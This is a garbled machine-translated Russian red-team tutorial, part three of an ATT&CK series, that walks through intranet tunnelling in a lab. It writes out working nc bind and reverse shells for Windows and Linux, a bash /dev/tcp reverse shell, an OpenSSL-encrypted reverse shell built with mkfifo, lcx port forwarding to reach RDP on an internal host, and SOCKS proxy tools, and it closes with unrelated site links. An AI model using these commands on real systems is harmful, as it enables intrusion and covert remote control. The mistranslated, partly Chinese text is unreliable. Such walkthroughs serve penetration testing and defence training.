ATT&CKКрасное и синее противостояние с точки зрения:три. Традиционные методы использования туннелей во внутренней сети
ATT&CKКрасное и синее противостояние с точки зрения:три. Традиционные методы использования туннелей во внутренней сети

Предыдущая статья рекомендовала:

ATT&CKКрасное и синее противостояние с точки зрения:один. Подробное объяснение технологии проходки туннелей

ATT&CKКрасное и синее противостояние с точки зрения:два. Исходящий протокол обнаружения интрасети

ATT&CKКрасное и синее противостояние с точки зрения:три. Традиционные методы использования туннелей во внутренней сети


1. Обычный отскок

Предположим, что хост обнаружен в среде интрасети и права управления хостом получены через уязвимость. Если вы хотите дополнительно использовать среду интрасети, вы можете проникнуть в нее, перезапустив оболочку. В этом эксперименте в качестве инструмента используется инструмент nc. Пример Чтобы продемонстрировать работу различных систем, экспериментальная топология показана на рисунке 1-1.

1. Используйте инструменты ЧПУ для выполнения оболочки отскока в системе Windows.

Рисунок 1-1 Схема экспериментальной топологии в системе Windows
Рисунок 1-1 Схема экспериментальной топологии в системе Windows

(1) Оболочка прямого подключения Windows

Экспериментальная среда показана на рисунке 1-1. Предполагается, что системные разрешения целевого сервера получены, инструмент nc загружен и используется метод оболочки прямого соединения для возврата оболочки целевого сервера. местный хост.

1) Сначала выполните команду nc.exe -lvp 8888 -e cmd.exe на целевом сервере, чтобы прослушать порт 8888. Используйте параметр -e, чтобы перенаправить программу cmd.exe на службу, подключенную к этому порту. мониторинг успешно включен, как показано на Рисунке 1-2.

Рисунок 1-2 Сервер начинает мониторинг
Рисунок 1-2 Сервер начинает мониторинг

2) После того, как целевой сервер выполнит мониторинг, выполните команду nc.exe 192.168.0.3 8888 на локальном хосте, чтобы подключиться к целевому серверу nc и открыть порт прослушивания. Если соединение прошло успешно, вы можете получить разрешения оболочки. целевой сервер, как показано на рисунке 1-3.

Рис. 1-3 Хост Windows получает оболочку восстановления
Рис. 1-3 Хост Windows получает оболочку восстановления

(2) Оболочка обратного подключения Windows

Экспериментальная среда показана на рисунке 1-1. Когда целевому серверу разрешено выходить из сети, вы можете попробовать использовать метод обратного подключения для получения разрешений оболочки целевого сервера на локальном хосте.

1) Сначала используйте инструмент nc на локальном хосте, чтобы включить мониторинг, и выполните команду nc.exe -lvp 8888, как показано на рисунке 1-4.

Рис. 1-4 Хост Windows включает мониторинг сервера
Рис. 1-4 Хост Windows включает мониторинг сервера

2) Когда локальный хост начнет прослушивание, выполните команду nc.exe 192.168.0.2 8888 -e cmd" на целевом сервере, чтобы активно подключиться к порту 8888 локального хоста и перенаправить команду cmd на целевой сервер, как показано. на рисунке 1-5

Рисунок 1-5 Сервер подключается к хосту
Рисунок 1-5 Сервер подключается к хосту

3) В это время, когда целевой сервер обращается к нашему локальному порту 8888, вы можете получить разрешения оболочки целевого сервера. Используйте команду Ipconfig, чтобы просмотреть полученный IP-адрес оболочки восстановления. Вы можете видеть, что это целевой сервер. , как показано на рисунке 1-6.

Рисунок 1-6. Получение IP-адреса оболочки восстановления сервера.
Рисунок 1-6. Получение IP-адреса оболочки восстановления сервера.

2. Используйте инструменты ЧПУ для выполнения оболочки восстановления в Linux.

Рис. 1-7 Схема экспериментальной топологии в системе Linux
Рис. 1-7 Схема экспериментальной топологии в системе Linux

(1) Оболочка прямого подключения Linux

Предположим, вы хотите получить оболочку восстановления в операционной системе Linux. Метод восстановления отличается от показанного выше в операционной системе Windows. Для проведения эксперимента возьмите два сервера Linux. Экспериментальная среда показана на рисунке 1-7. . Используйте оболочку прямого подключения.

1) Выполните команду nc -lvp 8888 -e /bin/bash на целевом сервере, чтобы включить мониторинг целевого сервера, как показано на рисунке 1-8, когда приложение обращается к программе через порт 8888 целевого сервера. сервер, bash будет выведен.

Рисунок 1-8 Целевой сервер включает мониторинг
Рисунок 1-8 Целевой сервер включает мониторинг

2) После включения мониторинга целевого сервера выполните команду nc 192.168.0.3 8888 на атакующей машине, чтобы подключиться к целевому серверу. В это время вы получите возврат оболочки от целевого сервера, как показано на рисунке 1. 9.

Рисунок 1-9 Подключение штурмовика для получения отбойного снаряда
Рисунок 1-9 Подключение штурмовика для получения отбойного снаряда

(2) Используйте собственный bash Linux для восстановления Shell.

1) Сначала используйте nc на атакующей машине, чтобы выполнить команду nc -lvp 8888, чтобы включить мониторинг. Результаты выполнения показаны на рисунке 1-10.

Рисунок 1-10 штурмовик Включить мониторинг
Рисунок 1-10 штурмовик Включить мониторинг

2) Выполните bash на целевом сервере. -c "bash -i >& /dev/tcp/192.168.0.2/8888 0>&1Заказ придетshellотскочить кштурмовикначальство,Среди них 192.168.0.2 — IP-адрес штурмовика.,8888 — порт прослушивания,нравиться Рисунок 1-11показано。

Рисунок 1-11 Целевой сервер инициирует соединение
Рисунок 1-11 Целевой сервер инициирует соединение

3) В это время на атакующей машине вы можете видеть, что оболочка, успешно получившая отскок от целевого сервера, показана на рисунке 1-12.

Рисунок 1-12 штурмовик Получить рикошетный снаряд
Рисунок 1-12 штурмовик Получить рикошетный снаряд

2. Криптовалютный отскок

1. Экспериментальная среда восстановления шифрования

В реальных наступательных и оборонительных противостояниях имеется недостаток использования обычных рикошетных снарядов, то есть весь трафик, передаваемый через снаряд, передается в виде открытого текста, а данные связи могут быть получены средствами защиты (такими как IDS, IPS, и т. д.) приведет к перехвату сигнала тревоги. Сотрудники красной команды будут использовать метод зашифрованной оболочки для отскока, чтобы запутать и зашифровать содержимое передаваемых данных. Здесь мы используем OpenSSL для шифрования оболочки отскока. Экспериментальная среда показана на рисунке 1. -13 показано.

Рисунок 1-13 OpenSSL Схема экспериментальной топологии Bounce Shell
Рисунок 1-13 OpenSSL Схема экспериментальной топологии Bounce Shell

2. Этапы операции восстановления шифрования

1) Во-первых, перед использованием оболочки восстановления OpenSSL вам необходимо настроить атакующую машину и вручную выполнить openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 Команда -nodes создает самозаверяющий сертификат. Параметры использования OpenSSL показаны в Таблице 1-1. В процессе создания самозаверяющего сертификата вам будет предложено ввести информацию о сертификате. можно напрямую нажать клавишу Enter, не устанавливая ее, как показано на рисунке. Как показано в 1-14, в конце будут созданы два файла: cert.pem и key.pem.

Таблица 1-1 Часто используемые параметры

параметр

эффект

-new

Указывает на создание нового требования к подписи сертификата.

-x509

Предназначен для создания самозаверяющих сертификатов CA.

-key

Укажите файл закрытого ключа, используемый для создания сертификата.

-out FILNAME

Укажите путь сохранения созданного сертификата

-days

Укажите срок действия сертификата, единица измерения — сутки, по умолчанию — 365 дней.

-notes

Сгенерированный файл закрытого ключа не будет зашифрован.

Рисунок 1-14 штурмовик Сгенерировать самозаверяющий сертификат
Рисунок 1-14 штурмовик Сгенерировать самозаверяющий сертификат

2) После того, как атакующая машина сгенерирует самозаверяющий сертификат, выполните команду openssl s_server -quiet -key key.pem -cert cert.pem -port 8888, чтобы заставить OpenSSL прослушивать порт 8888 локальной атакующей машины для запуска SSL. /TLS-серверная служба. Как показано на рисунке 1-15.

Рисунок 1-15штурмовик Включить мониторинг
Рисунок 1-15штурмовик Включить мониторинг

3) Когда атакующая машина включит мониторинг, она вернется на целевой сервер. shell Операция, выполнить mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.2:8888 > /tmp/s; rm Команда /tmp/s может перенаправить оболочку целевого сервера на атакующую машину, как показано на рисунке 1-16.

Рисунок 1-16 Целевой сервер выполняет команду оболочки rebound.
Рисунок 1-16 Целевой сервер выполняет команду оболочки rebound.

4) После успешного выполнения используйте команду ifconfig для проверки полученной оболочки восстановления, как показано на рисунке 1-17. Вы можете видеть, что выходной IP-адрес является IP-адресом целевого сервера. На этом этапе мы получили разрешения оболочки целевого сервера посредством зашифрованного восстановления.

Рисунок 1-17штурмовик Получить рикошетный снаряд
Рисунок 1-17штурмовик Получить рикошетный снаряд

3. Переадресация портов

Далее читатели познакомятся с наиболее распространенными сценариями использования инструмента переадресации портов lcx. Инструмент lcx является наиболее типичным инструментом переадресации портов, используемым членом красной команды при тестировании на проникновение в интранет. Инструмент lcx можно разделить на две версии. Windows и Linux Здесь возьмите инструмент lcx в качестве примера, чтобы продемонстрировать функцию переадресации портов с целью переадресации порта 3389. Ниже представлена ​​экспериментальная среда, показанная на рисунке 1-18. Таблица экспериментальной среды показана в таблице 1-2.

Рисунок 1-18 переадресация портов Схема экспериментальной топологии
Рисунок 1-18 переадресация портов Схема экспериментальной топологии

Таблица 1-2 Таблица экспериментальной среды переадресации портов

тип

IP-конфигурация

штурмовик

192.168.0.58

Трамплин машина

192.168.0.25,192.168.52.110

целевой дрон

192.168.52.143

Данный эксперимент проводился в Интранетцелевой Откройте подключение к удаленному рабочему столу на дроне, Трамплин использовать инструмент lcx для переадресации портов, в гор. дрони Трамплин Постройте туннель в машине и используйте компьютер злоумышленника для подключения к Трамплину автомобильный туннельный порт, через Трамплин Порт машины, добраться до Интранетцелевой разрешения удаленного рабочего стола дрона.

Примечание. Злоумышленник получил доступ к Трамплину через сервисный порт, разрешенный брандмауэром. компьютерный сервер в Трамплине машина настраивает туннельный прокси и получает доступ к Интранетцелевой дрон。потому что Трамплин машина представляет собой двойную сетевую карту, которая может работать как с внешними хостами, так и с Интранетцелевой. дрон Информационный бюллетень, чтобы вы могли пройти в Трамплин машина строит туннель для доступа к IP-адресу Интранета. Интранет может быть связан с Трамплином машина связи, общаясь с злоумышленником в Трамплине машинатуннель построен,Обход ограничений для общения с злоумышленниками,нравиться Рисунок 1-18中из虚线показано。

1. Прямое соединение инструмента Lcx

1) Просмотрите справочную информацию по команде инструмента lcx и выполните команду lcx.exe -help, как показано на рисунке 1-19.

Рисунок 1-19 Справочная информация Lcx
Рисунок 1-19 Справочная информация Lcx

2) Обязательным условием для использования инструмента lcx является получение Трамплина. права управления системой компьютера. После загрузки инструмента вы можете использовать параметр -tran для выполнения переадресации, в Трамплине Запустите lcx.exe на машине -tran 8888 192.168.52.110 3389 команда поставит в положение Порт 3389 дрона перенаправлен в Трамплин машина на порту 8888, успешно отключена дрон之间搭建один条隧道,нравиться Рисунок 1-20показано。

Рисунок 1-20 Трамплин машинаосуществлятьпереадресация портов Заказ
Рисунок 1-20 Трамплин машинаосуществлятьпереадресация портов Заказ

3) В это время выключатель был Порт 3389 дрона перенаправлен в Трамплин Туннель был успешно построен на порту 8888 машины. Теперь мы используем калиштурмовик для запуска rdesktop. Команда 192.168.0.25:8888, подключаемся к Трамплину Порт 8888 машины можно использовать с отключением дрон Удаленное соединение успешно установлено,нравиться Рисунок 1-21показано。

Рисунок 1-21 штурмовик успешно осуществляет подключение к удаленному рабочему столу.
Рисунок 1-21 штурмовик успешно осуществляет подключение к удаленному рабочему столу.

2. Обратное соединение инструмента Lcx

1) Обратное подключение прямо противоположно упомянутому выше прямому подключению. Во-первых, в Трамплине. Включите мониторинг на машине и запустите lcx.exe. -listen 6666 Команда 8888 используется для прослушивания локального порта 6666 и сопоставления соединения этого порта с локальным портом 8888, как показано на рисунке 1-22.

Рисунок 1-22 Трамплин машина перенаправляет локальный порт
Рисунок 1-22 Трамплин машина перенаправляет локальный порт

2)существоватьцелевой дрон запускает Lcx.exe -slave 192.168.0.58 6666 127.0.0.1 Команда 3389, переслать порт 3389 на Трамплин Постройте туннель на порту 6666 машины, а затем Трамплин Затем машина сопоставляет порт 6666 с портом 8888 локального компьютера. Пока у вас есть доступ к Трамплину Все хозяева машины могут пройти Трамплин машинаиз8888Порт подключения Интранетиз3389порт,нравиться Рисунок 1-23показано。

Рисунок 1-23 Интранет靶主机осуществлятьпереадресация портов
Рисунок 1-23 Интранет靶主机осуществлятьпереадресация портов

3) Использование в калиштурмовике rdesktop 192.168.0.25 Команда 8888 для удаленного доступа к Трамплину Доступ к порту 8888 машины можно получить, дрониз3389。нравиться Рисунок 1-24показано已通过штурмовик успешно подключен。

Рисунок 1-24 штурмовик успешно подключен
Рисунок 1-24 штурмовик успешно подключен

4.Socks туннельный прокси

Носки - это розетка Secureиз缩写,Это протокол уровня сеанса сети пятого уровня, который работает в семиуровневой модели OSI.,Основная функция Socks — маршрутизация любого трафика, генерируемого любым протоколом или любой программой, на сервер от имени клиента.,Используется для соединения локальной и удаленной систем.

Поскольку Socks находится между седьмым и четвертым уровнями модели, Socks может поддерживать HTTP, HTTPS, FTP, SSH, FTP и другие протоколы. С точки зрения версии Socks можно разделить на две версии: Socks4 и Socks5, последняя версия. протокол носков - s Основное различие между двумя версиями ocks5, Socks4 и Socks5 заключается в том, что Socks4 поддерживает только TCP-прокси и не поддерживает UDP-прокси и различные протоколы аутентификации. Socks5 поддерживает не только TCP/UDP-прокси и различные протоколы аутентификации, но и аутентификацию личности. Проверьте установление полного TCP Подключитесь и используйте метод зашифрованного туннеля Secure Shell (SSH) для ретрансляции трафика. В противостоянии красно-синих атак и защиты мы часто используем Socks5 для создания коммуникационных туннелей для доступа к внутренней сети в удаленной базовой целевой системе.

1. Распространенные сценарии использования носков

Предположим, что после того, как в целевой интрасети был получен хост с разрешением на выполнение произвольных команд, необходимо определить регион и политику безопасности хоста, чтобы определить, можно ли установить соединение с помощью Socks. Ниже приведены конкретные общие сценарии использования Socks. описано в таблице. Как показано в 1-3.

Таблица 1-3 Описание распространенных сценариев использования

Целевое местоположение

описание сцены

Интранет

Брандмауэр не реализует никакой политики безопасности для исходящего трафика и портов.,Серверы в Интранете могут получать доступ к внешним сетям по своему желанию.,Не ограничен политиками безопасности.

В брандмауэре настроены только определенные правила для входящего трафика, разрешающие доступ только к определенным бизнес-портам (например: 80, 443).

Брандмауэры настроены с использованием определенных правил для входящего и исходящего трафика и открывают только определенные порты (например: 80, 443).

2. программное обеспечение Socks Global Proxy

Существует множество прокси-инструментов Socks, из которых мы можем выбирать в реальной сетевой атаке и оборонительной битве, но стоит отметить, что нам нужно выбрать соответствующий прокси-инструмент Socks на основе реального сценария. Попробуйте использовать те, которые не имеют Графический интерфейс и отсутствие необходимости полагаться на другие прокси-инструменты Socks, поддерживаемые программным обеспечением. Далее автор представит три прокси-инструмента Socks, которые я часто использую в наступательных и оборонительных сражениях в реальной сети.

(1)Proxifier

Proxifier — это клиентский инструмент сетевого прокси-сервера, основанный на системах Mac/Windows. Как показано на рисунке 1-25, Proxifier поддерживает протоколы TCP, UDP, Xp, Vista, Win7, mac-систему и Socks4, Socks5. Он предоставляет прокси-сервисы для определенных приложений в локальной системе, позволяя некоторому программному обеспечению (веб-адреса или IP-адреса) использовать прокси-сервер для доступа к сети, в то время как другое программное обеспечение (веб-адреса или IP-адреса) получает доступ к сети в обычном режиме.

Рисунок 1-25 Программное обеспечение глобального прокси Proxifier
Рисунок 1-25 Программное обеспечение глобального прокси Proxifier

(2)SocksCap64

Sockscap64 — это бесплатное программное обеспечение прокси-клиента, разработанное компанией Taro. Как показано на рисунке 1-26, оно позволяет сетевым приложениям Windows получать доступ к сети через прокси-сервер Socks без каких-либо изменений в приложении, даже если некоторые программы не поддерживают прокси. также может прекрасно решить проблемы с доступом к прокси. Sockscap64 в настоящее время поддерживает только соединения Socks4, Socks5 и TCP.

 Рисунок 1-26 SocksCap64 Программное обеспечение глобального агента
Рисунок 1-26 SocksCap64 Программное обеспечение глобального агента

(3)Proxychains

ProxyChains — это прокси-инструмент с открытым исходным кодом, основанный на Linux и других Unix, как показано на рисунке 1-27. Он поддерживает протоколы HTTP, Socks4 и Socks5 для прокси-соединений. Он принудительно подключается к указанным приложениям через определяемый пользователем список прокси, напрямую отключая получателя и отправителя.

 Рисунок 1-27 Proxychains Программное обеспечение глобального агента
Рисунок 1-27 Proxychains Программное обеспечение глобального агента

5. Краткое содержание этой статьи

Благодаря постоянному обновлению и итерации туннельных технологий,Все больше злоумышленников используют технологию туннелирования для атак на предприятия Интранет,В этой статье мы анализируем разделение технологии сокрытия туннелей по нескольким измерениям и объясняем технологию туннелей в целом.,Он включает в себя краткое изложение базовых знаний и использования соответствующих туннельных инструментов, а также методов обнаружения и защиты технологии сокрытия туннелей.,И он демонстрирует множество распространенных сценариев туннелирования на большом количестве случаев.,Например, мы используем несколько протоколов для достижения проникновения в туннели, переадресации портов и проникновения в интранет путем получения системных разрешений.,Суммируя,Я надеюсь, что этот контент будет полезен читателям.


Я участвую в третьем этапе специального тренировочного лагеря Tencent Technology Creation 2023 с эссе, получившими приз, и сформирую команду, которая разделит приз!

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода